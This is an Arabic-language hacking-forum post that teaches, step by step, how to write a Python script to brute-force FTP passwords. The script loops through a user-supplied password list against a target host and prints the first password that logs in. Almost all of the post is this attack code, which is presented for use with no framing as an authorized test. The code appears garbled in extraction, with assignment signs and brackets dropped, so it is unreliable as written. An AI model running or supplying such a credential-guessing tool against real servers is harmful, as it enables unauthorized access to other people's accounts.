TO DONATE : BTC => 1BU6R1C4AQ77LjLZswQNKFwAupw61i88Kn || PM => U4089661


اهم قوانين :1- منع الردود الباهتة مثل شكرااااا و أخواتها 2- لا يسمح بالمشاحنات الطائفية باآ شكل من الأشكال 3- عدم استعمال الألفاظ التافهة و الكلام البذىء 4- عدم وضع معرفات التواصل الأجتماعى بالردود 5- الأطلاع على كامل القوانين واجب 


العودة   الحماية للأبد -Security 4 Ever > قسم البرمجـــة > لغات البرمجة التفسيرية

لغات البرمجة التفسيرية قسم مختص بالبرمجة التفسيرية مثل :
PHP, java, perl, Python, Bash, Shell script, JPython, AutoIt, Z shell, AWK, VB Script

 
أدوات الموضوع انواع عرض الموضوع
  #1  
قديم 08-04-2016, 11:54 PM
الصورة الرمزية zero-cool
zero-cool
:: عضو خاص ::
 
حـالة التــواجـد : zero-cool غير متواجد حالياً
تاريخ التسجيل: Apr 2016
الجــــنــــــس: ذكـر
المشاركات: 76
شكراً:62
تم شكره 263 مرة في 61 مشاركة
معدل تقييم المستوى: 0
zero-cool بدون تقييم
افتراضي Cracking FTP Password Using Python

السلام عليكم ورحمة الله وبركاته


إن شاء الله تكونوا في تمام الصحة والعافية إخواني






في هذا الشرح حنشوف كيفية كتابة سكريبت بايثون بسيط لكسر باسوورد FTP بالإعتماد على طريقة التخمين .



مبدئيا دعنا نشوف خطوات الإتصال بسيرفر FTP

أولا نقوم بتحميل مكتبة ftplib

كود PHP:
import ftplib 
ثانيا نحدد الهوست يعني عنوان آيبي سيرفر

كود PHP:
host '192.168.90.140' 
نحدد إسم اليوزر

كود PHP:
username 'zorix' 

الآن نحدد الباسورد

كود PHP:
password 'pop123' 
الآن نتصل

كود PHP:
ftp ftplib.FTP(host)
ftp.login(username,password
تم الإتصال بنجاح كما نشوفو بالصورة




طيب الآن ماسنفعله بالأساس هو عمل باسورد ليست ومن ثم التخمين على الباسورد بمعنى أن ماكتبناه في الأعلى سيتكرر إلى حين نجد الباسورد فنطلب منه طباعتها على التيرمينال .

أولا نحدد الباسورد ليست بالسكريبت ونخلي قيمتها تساوي أول argument يدخله المستخدم :

كود PHP:
passlist sys.argv[1
بعد ذلك نقوم بفتحها الباسورد ليست

كود PHP:
psst open(passlist
الآن نضع حلقة تكرارية للتخمين على الباسورد

كود PHP:
for pst in psst:
    
pwd pst.rstrip()
    print 
"[+] Trying :" pwd
    
try:
       if 
ftp.login(username,pwd):
           print 
"\n Password Found :" ,pwd
           
break
    
except :
       
pass 
وفي الأخير السكريبت يصير كالتالي :

كود PHP:
#!/usr/bin/python

import ftplib,sys

username 
raw_input("Enter username :")
host sys.argv[1]
ftp ftplib.FTP(host)
passlist sys.argv[2]
psst open(passlist)

for 
pst in psst:
    
pwd pst.rstrip()
    print 
"[+] Trying :" pwd
    
try:
       if 
ftp.login(username,pwd):
           print 
"\n Password Found :" ,pwd
           
break
    
except :
       
pass
psst
.close() 





بالتوفيق
 

 

 

مايفعله الهكرز هو معرفة التكنولوجيا وتجربتها بطرق لايمكن ان يتخيلها الكثير من الناس .
ولديهم رغبة قوية في مشاركة هذه المعلومات مع الآخرين
وتوضيحها للاشخاص الذي قد تكون مؤهلاتهم الوحيدة الرغبة في التعلم.

[email protected]
رد مع اقتباس
17 أعضاء قالوا شكراً لـ zero-cool على المشاركة المفيدة:

الكلمات الدلالية (Tags)
cracking, ftp, password, python


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
Cracking Email Password Using Python zero-cool لغات البرمجة التفسيرية 4 31-05-2016 11:40 PM
[شرح كتابى] [presentation] Smarter password cracking with PACK b0y قسم الكتب الألكترونية E-books 0 12-10-2014 04:27 PM


الساعة الآن 08:25 AM